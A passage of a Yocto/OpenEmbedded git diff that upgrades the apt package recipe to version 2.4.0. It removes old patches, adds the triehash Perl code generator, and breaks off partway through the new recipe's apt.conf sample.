-diff --git a/apt-pkg/packagemanager.cc b/apt-pkg/packagemanager.cc
-index 249542c..0a1911f 100644
---- a/apt-pkg/packagemanager.cc
-+++ b/apt-pkg/packagemanager.cc
-@@ -952,10 +952,12 @@ bool pkgPackageManager::SmartUnPack(PkgIterator Pkg, bool const Immediate, int c
- return false;
-
- if (Immediate == true) {
-+#if 0
- // Perform immedate configuration of the package.
- if (SmartConfigure(Pkg, Depth + 1) == false)
- _error->Error(_("Could not perform immediate configuration on '%s'. "
- "Please see man 5 apt.conf under APT::Immediate-Configure for details. (%d)"),Pkg.FullName().c_str(),2);
-+#endif
- }
-
- return true;
-@@ -1038,6 +1040,7 @@ pkgPackageManager::OrderResult pkgPackageManager::OrderInstall()
- }
- }
-
-+#if 0
- // Final run through the configure phase
- if (ConfigureAll() == false)
- return Failed;
-@@ -1052,6 +1055,7 @@ pkgPackageManager::OrderResult pkgPackageManager::OrderInstall()
- return Failed;
- }
- }
-+#endif
-
- return Completed;
- }
diff --git a/meta/recipes-devtools/apt/apt/nodoc.patch b/meta/recipes-devtools/apt/apt/nodoc.patch
deleted file mode 100644
index 78cf53884a..0000000000
--- a/meta/recipes-devtools/apt/apt/nodoc.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Disable documentation
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
-Index: apt-1.2.24/Makefile
-===================================================================
---- apt-1.2.24.orig/Makefile
-+++ apt-1.2.24/Makefile
-@@ -19,7 +19,7 @@ all headers library clean veryclean bina
- $(MAKE) -C cmdline $@
- $(MAKE) -C ftparchive $@
- $(MAKE) -C dselect $@
-- $(MAKE) -C doc $@
-+# $(MAKE) -C doc $@
- $(MAKE) -C po $@
- # FIXME: -C test has issue swith parallel builds, investigate!
- -$(MAKE) -C test $@
diff --git a/meta/recipes-devtools/apt/apt/triehash b/meta/recipes-devtools/apt/apt/triehash
new file mode 100755
index 0000000000..b08bc6ec30
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/triehash
@@ -0,0 +1,728 @@
+#!/usr/bin/perl -w
+#
+# Copyright (C) 2016 Julian Andres Klode <jak@jak-linux.org>
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+=encoding utf8
+
+=head1 NAME
+
+triehash - Generate a perfect hash function derived from a trie.
+
+=cut
+
+use strict;
+use warnings;
+use utf8;
+use Getopt::Long;
+
+=head1 SYNOPSIS
+
+B<triehash> [S<I<option>>] [S<I<input file>>]
+
+=head1 DESCRIPTION
+
+triehash takes a list of words in input file and generates a function and
+an enumeration to describe the word
+
+=head1 INPUT FILE FORMAT
+
+The file consists of multiple lines of the form:
+
+ [label ~ ] word [= value]
+
+This maps word to value, and generates an enumeration with entries of the form:
+
+ label = value
+
+If I<label> is undefined, the word will be used, the minus character will be
+replaced by an underscore. If value is undefined it is counted upwards from
+the last value.
+
+There may also be one line of the format
+
+ [ label ~] = value
+
+Which defines the value to be used for non-existing keys. Note that this also
+changes default value for other keys, as for normal entries. So if you place
+
+ = 0
+
+at the beginning of the file, unknown strings map to 0, and the other strings
+map to values starting with 1. If label is not specified, the default is
+I<Unknown>.
+
+=head1 OPTIONS
+
+=over 4
+
+=item B<-C>I<.c file> B<--code>=I<.c file>
+
+Generate code in the given file.
+
+=item B<-H>I<header file> B<--header>=I<header file>
+
+Generate a header in the given file, containing a declaration of the hash
+function and an enumeration.
+
+=item B<--enum-name=>I<word>
+
+The name of the enumeration.
+
+=item B<--function-name=>I<word>
+
+The name of the function.
+
+=item B<--label-prefix=>I<word>
+
+The prefix to use for labels.
+
+=item B<--label-uppercase>
+
+Uppercase label names when normalizing them.
+
+=item B<--namespace=>I<name>
+
+Put the function and enum into a namespace (C++)
+
+=item B<--class=>I<name>
+
+Put the function and enum into a class (C++)
+
+=item B<--enum-class>
+
+Generate an enum class instead of an enum (C++)
+
+=item B<--counter-name=>I<name>
+
+Use I<name> for a counter that is set to the latest entry in the enumeration
++ 1. This can be useful for defining array sizes.
+
+=item B<--ignore-case>
+
+Ignore case for words.
+
+=item B<--multi-byte>=I<value>
+
+Generate code reading multiple bytes at once. The value is a string of power
+of twos to enable. The default value is 320 meaning that 8, 4, and single byte
+reads are enabled. Specify 0 to disable multi-byte completely, or add 2 if you
+also want to allow 2-byte reads. 2-byte reads are disabled by default because
+they negatively affect performance on older Intel architectures.
+
+This generates code for both multiple bytes and single byte reads, but only
+enables the multiple byte reads of GNU C compatible compilers, as the following
+extensions are used:
+
+=over 8
+
+=item Byte-aligned integers
+
+We must be able to generate integers that are aligned to a single byte using:
+
+ typedef uint64_t __attribute__((aligned (1))) triehash_uu64;
+
+=item Byte-order
+
+The macros __BYTE_ORDER__ and __ORDER_LITTLE_ENDIAN__ must be defined.
+
+=back
+
+We forcefully disable multi-byte reads on platforms where the variable
+I<__ARM_ARCH> is defined and I<__ARM_FEATURE_UNALIGNED> is not defined,
+as there is a measurable overhead from emulating the unaligned reads on
+ARM.
+
+=item B<--language=>I<language>
+
+Generate a file in the specified language. Currently known are 'C' and 'tree',
+the latter generating a tree.
+
+=item B<--include=>I<header>
+
+Add the header to the include statements of the header file. The value must
+be surrounded by quotes or angle brackets for C code. May be specified multiple
+times.
+
+=back
+
+=cut
+
+my $unknown = -1;
+my $unknown_label = undef;
+my $counter_start = 0;
+my $enum_name = 'PerfectKey';
+my $function_name = 'PerfectHash';
+my $enum_class = 0;
+
+my $code_name = '-';
+my $header_name = '-';
+my $code;
+my $header;
+my $label_prefix = undef;
+my $label_uppercase = 0;
+my $ignore_case = 0;
+my $multi_byte = '320';
+my $language = 'C';
+my $counter_name = undef;
+my @includes = ();
+
+
+Getopt::Long::config('default',
+ 'bundling',
+ 'no_getopt_compat',
+ 'no_auto_abbrev',
+ 'permute',
+ 'auto_help');
+
+GetOptions ('code|C=s' => \$code_name,
+ 'header|H=s' => \$header_name,
+ 'function-name=s' => \$function_name,
+ 'label-prefix=s' => \$label_prefix,
+ 'label-uppercase' => \$label_uppercase,
+ 'ignore-case' => \$ignore_case,
+ 'enum-name=s' => \$enum_name,
+ 'language|l=s' => \$language,
+ 'multi-byte=s' => \$multi_byte,
+ 'enum-class' => \$enum_class,
+ 'include=s' => \@includes,
+ 'counter-name=s' => \$counter_name)
+ or die('Could not parse options!');
+
+
+# This implements a simple trie. Each node has three attributes:
+#
+# children - A hash of keys to other nodes
+# value - The value to be stored here
+# label - A named representation of the value.
+#
+# The key at each level of the trie can consist of one or more bytes, and the
+# trie can be normalized to a form where all keys at a level have the same
+# length using rebuild_tree().
+package Trie {
+
+ sub new {
+ my $class = shift;
+ my $self = {};
+ bless $self, $class;
+
+ $self->{children} = {};
+ $self->{value} = undef;
+ $self->{label} = undef;
+
+ return $self;
+ }
+
+ # Return the largest power of 2 smaller or equal to the argument
+ sub alignpower2 {
+ my ($self, $length) = @_;
+
+ return 8 if ($length >= 8 && $multi_byte =~ /3/);
+ return 4 if ($length >= 4 && $multi_byte =~ /2/);
+ return 2 if ($length >= 2 && $multi_byte =~ /1/);
+
+ return 1;
+ }
+
+ # Split the key into a head block and a tail
+ sub split_key {
+ my ($self, $key) = @_;
+ my $length = length $key;
+ my $split = $self->alignpower2($length);
+
+ return (substr($key, 0, $split), substr($key, $split));
+ }
+
+ # Given a key, a label, and a value, insert that into the tree, possibly
+ # replacing an existing node.
+ sub insert {
+ my ($self, $key, $label, $value) = @_;
+
+ if (length($key) == 0) {
+ $self->{label} = $label;
+ $self->{value} = $value;
+ return;
+ }
+
+ my ($child, $tail) = $self->split_key($key);
+
+ $self->{children}{$child} = Trie->new if (!defined($self->{children}{$child}));
+
+ $self->{children}{$child}->insert($tail, $label, $value);
+ }
+
+ # Construct a new trie that only contains words of a given length. This
+ # is used to split up the common trie after knowing all words, so we can
+ # switch on the expected word length first, and have the per-trie function
+ # implement simple longest prefix matching.
+ sub filter_depth {
+ my ($self, $togo) = @_;
+
+ my $new = Trie->new;
+
+ if ($togo != 0) {
+ my $found = 0;
+ foreach my $key (sort keys %{$self->{children}}) {
+ if ($togo > length($key) || defined $self->{children}{$key}->{value}) {
+ my $child = $self->{children}{$key}->filter_depth($togo - length($key));
+
+ $new->{children}{$key}= $child if defined $child;
+ $found = 1 if defined $child;
+ }
+ }
+ return if (!$found);
+ } else {
+ $new->{value} = $self->{value};
+ $new->{label} = $self->{label};
+ }
+
+ return $new;
+ }
+
+ # (helper for rebuild_tree)
+ # Reinsert all value nodes into the specified $trie, prepending $prefix
+ # to their $paths.
+ sub reinsert_value_nodes_into {
+ my ($self, $trie, $prefix) = @_;
+
+ $trie->insert($prefix, $self->{label}, $self->{value}) if (defined $self->{value});
+
+ foreach my $key (sort keys %{$self->{children}}) {
+ $self->{children}{$key}->reinsert_value_nodes_into($trie, $prefix . $key);
+ }
+ }
+
+ # (helper for rebuild_tree)
+ # Find the earliest point to split a key. Normally, we split at the maximum
+ # power of 2 that is greater or equal than the length of the key. When we
+ # are building an ASCII-optimised case-insensitive trie that simply ORs
+ # each byte with 0x20, we need to split at the first ambiguous character:
+ #
+ # For example, the words a-bc and a\rbc are identical in such a situation:
+ # '-' | 0x20 == '-' == '\r' | 0x20
+ # We cannot simply switch on all 4 bytes at once, but need to split before
+ # the ambiguous character so we can process the ambiguous character on its
+ # own.
+ sub find_earlier_split {
+ my ($self, $key) = @_;
+
+ if ($ignore_case) {
+ for my $i (0..length($key)-1) {
+ # If the key starts with an ambiguous character, we need to
+ # take only it. Otherwise, we need to take everything
+ # before the character.
+ return $self->alignpower2($i || 1) if (main::ambiguous(substr($key, $i, 1)));
+ }
+ }
+ return $self->alignpower2(length $key);
+ }
+
+ # This rebuilds the trie, splitting each key before ambiguous characters
+ # as explained in find_earlier_split(), and then chooses the smallest
+ # such split at each level, so that all keys at all levels have the same
+ # length (so we can use a multi-byte switch).
+ sub rebuild_tree {
+ my $self = shift;
+ # Determine if/where we need to split before an ambiguous character
+ my $new_split = 99999999999999999;
+ foreach my $key (sort keys %{$self->{children}}) {
+ my $special_length = $self->find_earlier_split($key);
+ $new_split = $special_length if ($special_length < $new_split);
+ }
+
+ # Start building a new uniform trie
+ my $newself = Trie->new;
+ $newself->{label} = $self->{label};
+ $newself->{value} = $self->{value};
+ $newself->{children} = {};
+
+ foreach my $key (sort keys %{$self->{children}}) {
+ my $head = substr($key, 0, $new_split);
+ my $tail = substr($key, $new_split);
+ # Rebuild the child node at $head, pushing $tail downwards
+ $newself->{children}{$head} //= Trie->new;
+ $self->{children}{$key}->reinsert_value_nodes_into($newself->{children}{$head}, $tail);
+ # We took up to one special character of each key label. There might
+ # be more, so we need to rebuild recursively.
+ $newself->{children}{$head} = $newself->{children}{$head}->rebuild_tree();
+ }
+
+ return $newself;
+ }
+}
+
+# Code generator for C and C++
+package CCodeGen {
+ my $static = ($code_name eq $header_name) ? "static " : "";
+ my $enum_specifier = $enum_class ? "enum class" : "enum";
+
+ sub new {
+ my $class = shift;
+ my $self = {};
+ bless $self, $class;
+
+ return $self;
+ }
+
+ sub open_output {
+ my $self = shift;
+ if ($code_name ne '-') {
+ open($code, '>', $code_name) or die "Cannot open $code_name: $!" ;
+ } else {
+ $code = *STDOUT;
+ }
+ if($code_name eq $header_name) {
+ $header = $code;
+ } elsif ($header_name ne '-') {
+ open($header, '>', $header_name) or die "Cannot open $header_name: $!" ;
+ } else {
+ $header = *STDOUT;
+ }
+ }
+
+ sub mangle_label {
+ my ($self, $label) = @_;
+
+ $label = $label_prefix . $label if defined($label_prefix);
+ $label = uc $label if $label_uppercase;
+
+ return $label;
+ }
+
+ sub word_to_label {
+ my ($self, $word) = @_;
+
+ $word =~ s/_/__/g;
+ $word =~ s/-/_/g;
+
+ return $self->mangle_label($word);
+ }
+
+ # Return a case label, by shifting and or-ing bytes in the word
+ sub case_label {
+ my ($self, $key) = @_;
+
+ return sprintf("'%s'", substr($key, 0, 1)) if not $multi_byte;
+
+ my $output = '0';
+
+ for my $i (0..length($key)-1) {
+ $output .= sprintf("| onechar('%s', %d, %d)", substr($key, $i, 1), 8 * $i, 8*length($key));
+ }
+
+ return $output;
+ }
+
+ # Return an appropriate read instruction for $length bytes from $offset
+ sub switch_key {
+ my ($self, $offset, $length) = @_;
+
+ return "string[$offset]" if $length == 1;
+ return sprintf("*((triehash_uu%s*) &string[$offset])", $length * 8);
+ }
+
+ # Render the trie so that it matches the longest prefix.
+ sub print_table {
+ my ($self, $trie, $fh, $indent, $index) = @_;
+ $indent //= 0;
+ $index //= 0;
+
+ # If we have children, try to match them.
+ if (%{$trie->{children}}) {
+ # The difference between lowercase and uppercase alphabetical characters
+ # is that they have one bit flipped. If we have alphabetical characters
+ # in the search space, and the entire search space works fine if we
+ # always turn on the flip, just OR the character we are switching over
+ # with the bit.
+ my $want_use_bit = 0;
+ my $can_use_bit = 1;
+ my $key_length = 0;
+ foreach my $key (sort keys %{$trie->{children}}) {
+ $can_use_bit &= not main::ambiguous($key);
+ $want_use_bit |= ($key =~ /^[a-zA-Z]+$/);
+ $key_length = length($key);
+ }
+
+ if ($ignore_case && $can_use_bit && $want_use_bit) {
+ printf { $fh } ((' ' x $indent) . "switch(%s | 0x%s) {\n", $self->switch_key($index, $key_length), '20' x $key_length);
+ } else {
+ printf { $fh } ((' ' x $indent) . "switch(%s) {\n", $self->switch_key($index, $key_length));
+ }
+
+ my $notfirst = 0;
+ foreach my $key (sort keys %{$trie->{children}}) {
+ if ($notfirst) {
+ printf { $fh } (' ' x $indent . " break;\n");
+ }
+ if ($ignore_case) {
+ printf { $fh } (' ' x $indent . "case %s:\n", $self->case_label(lc($key)));
+ printf { $fh } (' ' x $indent . "case %s:\n", $self->case_label(uc($key))) if lc($key) ne uc($key) && !($can_use_bit && $want_use_bit);
+ } else {
+ printf { $fh } (' ' x $indent . "case %s:\n", $self->case_label($key));
+ }
+
+ $self->print_table($trie->{children}{$key}, $fh, $indent + 1, $index + length($key));
+
+ $notfirst=1;
+ }
+
+ printf { $fh } (' ' x $indent . "}\n");
+ }
+
+
+ # This node has a value, so it is a possible end point. If no children
+ # matched, we have found our longest prefix.
+ if (defined $trie->{value}) {
+ printf { $fh } (' ' x $indent . "return %s;\n", ($enum_class ? "${enum_name}::" : '').$trie->{label});
+ }
+
+ }
+
+ sub print_words {
+ my ($self, $trie, $fh, $indent, $sofar) = @_;
+
+ $indent //= 0;
+ $sofar //= '';
+
+
+ printf { $fh } (' ' x $indent."%s = %s,\n", $trie->{label}, $trie->{value}) if defined $trie->{value};
+
+ foreach my $key (sort keys %{$trie->{children}}) {
+ $self->print_words($trie->{children}{$key}, $fh, $indent, $sofar . $key);
+ }
+ }
+
+ sub print_functions {
+ my ($self, $trie, %lengths) = @_;
+ foreach my $local_length (sort { $a <=> $b } (keys %lengths)) {
+ print { $code } ("static enum ${enum_name} ${function_name}${local_length}(const char *string)\n");
+ print { $code } ("{\n");
+ $self->print_table($trie->filter_depth($local_length)->rebuild_tree(), $code, 1);
+ printf { $code } (" return %s$unknown_label;\n", ($enum_class ? "${enum_name}::" : ''));
+ print { $code } ("}\n");
+ }
+ }
+
+ sub main {
+ my ($self, $trie, $num_values, %lengths) = @_;
+ print { $header } ("#ifndef TRIE_HASH_${function_name}\n");
+ print { $header } ("#define TRIE_HASH_${function_name}\n");
+ print { $header } ("#include <stddef.h>\n");
+ print { $header } ("#include <stdint.h>\n");
+ foreach my $include (@includes) {
+ print { $header } ("#include $include\n");
+ }
+ printf { $header } ("enum { $counter_name = $num_values };\n") if (defined($counter_name));
+ print { $header } ("${enum_specifier} ${enum_name} {\n");
+ $self->print_words($trie, $header, 1);
+ printf { $header } (" $unknown_label = $unknown,\n");
+ print { $header } ("};\n");
+ print { $header } ("${static}enum ${enum_name} ${function_name}(const char *string, size_t length);\n");
+
+ print { $code } ("#include \"$header_name\"\n") if ($header_name ne $code_name);
+
+ if ($multi_byte) {
+ print { $code } ("#ifdef __GNUC__\n");
+ foreach my $i ((16, 32, 64)) {
+ print { $code } ("typedef uint${i}_t __attribute__((aligned (1))) triehash_uu${i};\n");
+ print { $code } ("typedef char static_assert${i}[__alignof__(triehash_uu${i}) == 1 ? 1 : -1];\n");
+ }
+
+ print { $code } ("#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n");
+ print { $code } ("#define onechar(c, s, l) (((uint64_t)(c)) << (s))\n");
+ print { $code } ("#else\n");
+ print { $code } ("#define onechar(c, s, l) (((uint64_t)(c)) << (l-8-s))\n");
+ print { $code } ("#endif\n");
+ print { $code } ("#if (!defined(__ARM_ARCH) || defined(__ARM_FEATURE_UNALIGNED)) && !defined(TRIE_HASH_NO_MULTI_BYTE)\n");
+ print { $code } ("#define TRIE_HASH_MULTI_BYTE\n");
+ print { $code } ("#endif\n");
+ print { $code } ("#endif /*GNUC */\n");
+
+ print { $code } ("#ifdef TRIE_HASH_MULTI_BYTE\n");
+ $self->print_functions($trie, %lengths);
+ $multi_byte = 0;
+ print { $code } ("#else\n");
+ $self->print_functions($trie, %lengths);
+ print { $code } ("#endif /* TRIE_HASH_MULTI_BYTE */\n");
+ } else {
+ $self->print_functions($trie, %lengths);
+ }
+
+ print { $code } ("${static}enum ${enum_name} ${function_name}(const char *string, size_t length)\n");
+ print { $code } ("{\n");
+ print { $code } (" switch (length) {\n");
+ foreach my $local_length (sort { $a <=> $b } (keys %lengths)) {
+ print { $code } (" case $local_length:\n");
+ print { $code } (" return ${function_name}${local_length}(string);\n");
+ }
+ print { $code } (" default:\n");
+ printf { $code } (" return %s$unknown_label;\n", ($enum_class ? "${enum_name}::" : ''));
+ print { $code } (" }\n");
+ print { $code } ("}\n");
+
+ # Print end of header here, in case header and code point to the same file
+ print { $header } ("#endif /* TRIE_HASH_${function_name} */\n");
+ }
+}
+
+# A character is ambiguous if the 1<<5 (0x20) bit does not correspond to the
+# lower case bit. A word is ambiguous if any character is. This definition is
+# used to check if we can perform the |0x20 optimization when building a case-
+# insensitive trie.
+sub ambiguous {
+ my $word = shift;
+
+ foreach my $char (split //, $word) {
+ # If 0x20 does not solely indicate lowercase, it is ambiguous
+ return 1 if ord(lc($char)) != (ord($char) | 0x20);
+ return 1 if ord(uc($char)) != (ord($char) & ~0x20);
+ }
+
+ return 0;
+}
+
+sub build_trie {
+ my $codegen = shift;
+ my $trie = Trie->new;
+
+ my $counter = $counter_start;
+ my $prev_value;
+ my %lengths;
+
+ open(my $input, '<', $ARGV[0]) or die "Cannot open $ARGV[0]: $!";
+ while (my $line = <$input>) {
+ my ($label, $word, $value) = $line =~ m{
+ (?:\s*([^~\s]+)\s*~)? # Label ~
+ (?:\s*([^~=\s]+))? # Word
+ (?:\s*=\s*([^\s]+)\s+)? # = Value
+ \s*
+ }x;
+
+ if (defined $word) {
+ $label //= $codegen->word_to_label($word);
+ $value //= defined $prev_value ? $prev_value + 1 : 0;
+
+ $trie->insert($word, $label, $value);
+ $lengths{length($word)} = 1;
+ } elsif (defined $value) {
+ $unknown = $value;
+ $unknown_label = $codegen->mangle_label($label) if defined $label;
+ } else {
+ die "Invalid line: $line";
+ }
+
+ $prev_value = $value;
+ $counter = $value + 1 if $value >= $counter;
+ }
+
+ $unknown_label //= $codegen->mangle_label('Unknown');
+
+ return ($trie, $counter, %lengths);
+}
+
+# Generates an ASCII art tree
+package TreeCodeGen {
+
+ sub new {
+ my $class = shift;
+ my $self = {};
+ bless $self, $class;
+
+ return $self;
+ }
+
+ sub mangle_label {
+ my ($self, $label) = @_;
+ return $label;
+ }
+
+ sub word_to_label {
+ my ($self, $word) = @_;
+ return $word;
+ }
+
+ sub main {
+ my ($self, $trie, $counter, %lengths) = @_;
+ printf { $code } ("┌────────────────────────────────────────────────────┐\n");
+ printf { $code } ("│ Initial trie │\n");
+ printf { $code } ("└────────────────────────────────────────────────────┘\n");
+ $self->print($trie);
+ printf { $code } ("┌────────────────────────────────────────────────────┐\n");
+ printf { $code } ("│ Rebuilt trie │\n");
+ printf { $code } ("└────────────────────────────────────────────────────┘\n");
+ $self->print($trie->rebuild_tree());
+
+ foreach my $local_length (sort { $a <=> $b } (keys %lengths)) {
+ printf { $code } ("┌────────────────────────────────────────────────────┐\n");
+ printf { $code } ("│ Trie for words of length %-4d │\n", $local_length);
+ printf { $code } ("└────────────────────────────────────────────────────┘\n");
+ $self->print($trie->filter_depth($local_length)->rebuild_tree());
+ }
+ }
+
+ sub open_output {
+ my $self = shift;
+ if ($code_name ne '-') {
+ open($code, '>:encoding(utf8)', $code_name) or die "Cannot open $ARGV[0]: $!" ;
+ } else {
+ $code = *STDOUT;
+ binmode($code, ':encoding(utf8)');
+ }
+ }
+
+ # Print a trie
+ sub print {
+ my ($self, $trie, $depth) = @_;
+ $depth //= 0;
+
+ print { $code } (' → ') if defined($trie->{label});
+ print { $code } ($trie->{label} // '', "\n");
+ foreach my $key (sort keys %{$trie->{children}}) {
+ print { $code } ('│ ' x ($depth), "├── $key");
+ $self->print($trie->{children}{$key}, $depth + 1);
+ }
+ }
+}
+
+my %codegens = (
+ C => 'CCodeGen',
+ tree => 'TreeCodeGen',
+);
+
+
+defined($codegens{$language}) or die "Unknown language $language. Valid choices: ", join(', ', keys %codegens);
+my $codegen = $codegens{$language}->new();
+my ($trie, $counter, %lengths) = build_trie($codegen);
+
+$codegen->open_output();
+$codegen->main($trie, $counter, %lengths);
+
+
+=head1 LICENSE
+
+triehash is available under the MIT/Expat license, see the source code
+for more information.
+
+=head1 AUTHOR
+
+Julian Andres Klode <jak@jak-linux.org>
+
+=cut
+
diff --git a/meta/recipes-devtools/apt/apt/truncate-filename.patch b/meta/recipes-devtools/apt/apt/truncate-filename.patch
deleted file mode 100644
index db1c42b66c..0000000000
--- a/meta/recipes-devtools/apt/apt/truncate-filename.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-strutl.cc: the filename can't be longer than 255
-
-The URItoFileName translates the path into the filename, but the
-filename can't be longer than 255 according to
-/usr/include/linux/limits.h.
-
-Truncate it when it is longer than 240 (leave some spaces for
-".Packages" and "._Release" suffix)
-
-Upstream-Status: Pending
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- apt-pkg/contrib/strutl.cc | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/apt-pkg/contrib/strutl.cc b/apt-pkg/contrib/strutl.cc
---- a/apt-pkg/contrib/strutl.cc
-+++ b/apt-pkg/contrib/strutl.cc
-@@ -399,7 +399,12 @@ string URItoFileName(const string &URI)
- // "\x00-\x20{}|\\\\^\\[\\]<>\"\x7F-\xFF";
- string NewURI = QuoteString(U,"\\|{}[]<>\"^~_=!@#$%^&*");
- replace(NewURI.begin(),NewURI.end(),'/','_');
-- return NewURI;
-+
-+ // Truncate from the head when it is longer than 240
-+ if(NewURI.length() > 240)
-+ return NewURI.substr(NewURI.length() - 240, NewURI.length() - 1);
-+ else
-+ return NewURI;
- }
- /*}}}*/
- // Base64Encode - Base64 Encoding routine for short strings /*{{{*/
---
-1.7.10.4
-
diff --git a/meta/recipes-devtools/apt/apt/use-host.patch b/meta/recipes-devtools/apt/apt/use-host.patch
deleted file mode 100644
index b30fcff0d6..0000000000
--- a/meta/recipes-devtools/apt/apt/use-host.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Pending
-
-Index: apt-0.9.7.7/configure.ac
-===================================================================
---- apt-0.9.7.7.orig/configure.ac
-+++ apt-0.9.7.7/configure.ac
-@@ -112,7 +112,7 @@ dnl This is often the dpkg architecture
- dnl First check against the full canonical canoncial-system-type in $target
- dnl and if that fails, just look for the cpu
- AC_MSG_CHECKING(debian architecture)
--archset="`dpkg-architecture -qDEB_HOST_ARCH`"
-+archset="`echo $host_alias|cut -d'-' -f1`"
- if test "x$archset" = "x"; then
- AC_MSG_ERROR([failed: use --host= or output from dpkg-architecture])
- fi
diff --git a/meta/recipes-devtools/apt/apt_1.2.31.bb b/meta/recipes-devtools/apt/apt_1.2.31.bb
deleted file mode 100644
index ae0bce933d..0000000000
--- a/meta/recipes-devtools/apt/apt_1.2.31.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-DEPENDS = "curl db zlib"
-RDEPENDS_${PN} = "dpkg bash debianutils"
-require apt.inc
-
-require apt-package.inc
-
-PACKAGECONFIG ??= "lzma"
-PACKAGECONFIG[lzma] = "ac_cv_lib_lzma_lzma_easy_encoder=yes,ac_cv_lib_lzma_lzma_easy_encoder=no,xz"
-PACKAGECONFIG[bz2] = "ac_cv_lib_bz2_BZ2_bzopen=yes,ac_cv_lib_bz2_BZ2_bzopen=no,bzip2"
-PACKAGECONFIG[lz4] = "ac_cv_lib_lz4_LZ4F_createCompressionContext=yes,ac_cv_lib_lz4_LZ4F_createCompressionContext=no,lz4"
-
-FILES_${PN} += "${bindir}/apt-key"
-apt-manpages += "doc/apt-key.8"
-
-do_install_append() {
- #Write the correct apt-architecture to apt.conf
- APT_CONF=${D}/etc/apt/apt.conf
- echo 'APT::Architecture "${DPKG_ARCH}";' > ${APT_CONF}
- oe_libinstall -so -C bin libapt-private ${D}${libdir}/
-}
diff --git a/meta/recipes-devtools/apt/apt_2.4.0.bb b/meta/recipes-devtools/apt/apt_2.4.0.bb
new file mode 100644
index 0000000000..c95e36e3d0
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt_2.4.0.bb
@@ -0,0 +1,136 @@
+SUMMARY = "Advanced front-end for dpkg"
+DESCRIPTION = "APT is the Advanced Package Tool, an advanced interface to the Debian packaging system which provides the apt-get program."
+HOMEPAGE = "https://packages.debian.org/jessie/apt"
+LICENSE = "GPL-2.0-or-later"
+SECTION = "base"
+
+# Triehash script taken from https://github.com/julian-klode/triehash
+SRC_URI = "${DEBIAN_MIRROR}/main/a/apt/${BPN}_${PV}.tar.xz \
+ file://triehash \
+ file://0001-Disable-documentation-directory-altogether.patch \
+ file://0001-Fix-musl-build.patch \
+ file://0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch \
+ file://0001-cmake-Do-not-build-po-files.patch \
+ file://0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch \
+ file://0001-aptwebserver.cc-Include-array.patch \
+ "
+
+SRC_URI:append:class-native = " \
+ file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
+ file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
+ "
+
+SRC_URI:append:class-nativesdk = " \
+ file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
+ file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
+ "
+
+SRC_URI[sha256sum] = "728c69df369cbc4a55f91fc2817fe9832c1a2f39de4142e7ef222c5158f234af"
+LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+# the package is taken from snapshots.debian.org; that source is static and goes stale
+# so we check the latest upstream from a directory that does get updated
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/apt/"
+
+inherit cmake perlnative bash-completion upstream-version-is-even useradd
+
+# User is added to allow apt to drop privs, will runtime warn without
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --home /nonexistent --no-create-home _apt"
+
+BBCLASSEXTEND = "native nativesdk"
+
+DEPENDS += "db gnutls lz4 zlib bzip2 xz libgcrypt xxhash"
+
+EXTRA_OECMAKE:append = " -DCURRENT_VENDOR=debian -DWITH_DOC=False \
+ -DDPKG_DATADIR=${datadir}/dpkg \
+ -DTRIEHASH_EXECUTABLE=${WORKDIR}/triehash \
+ -DCMAKE_DISABLE_FIND_PACKAGE_ZSTD=True \
+ -DCMAKE_DISABLE_FIND_PACKAGE_SECCOMP=True \
+ -DWITH_TESTS=False \
+"
+
+do_configure:prepend() {
+ echo "set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE BOTH )" >> ${WORKDIR}/toolchain.cmake
+}
+
+# Unfortunately apt hardcodes this all over the place
+FILES:${PN} += "${prefix}/lib/dpkg ${prefix}/lib/apt"
+RDEPENDS:${PN} += "bash perl dpkg"
+
+customize_apt_conf_sample() {
+ cat > ${D}${sysconfdir}/apt/apt.conf.sample << EOF
+Dir "${STAGING_DIR_NATIVE}/"
+{
+ State "var/lib/apt/"
+ {
+ Lists "#APTCONF#/lists/";
+ status "#ROOTFS#/var/lib/dpkg/status";
+ };
+ Cache "var/cache/apt/"
+ {
+ Archives "archives/";
+ pkgcache "";
+ srcpkgcache "";
+ };
+ Bin "${STAGING_BINDIR_NATIVE}/"
+ {
+ methods "${STAGING_LIBDIR}/apt/methods/";
+ gzip "/bin/gzip";
+ dpkg "dpkg";
+ dpkg-source "dpkg-source";
+ dpkg-buildpackage "dpkg-buildpackage";
+ apt-get "apt-get";
+ apt-cache "apt-cache";
+ };
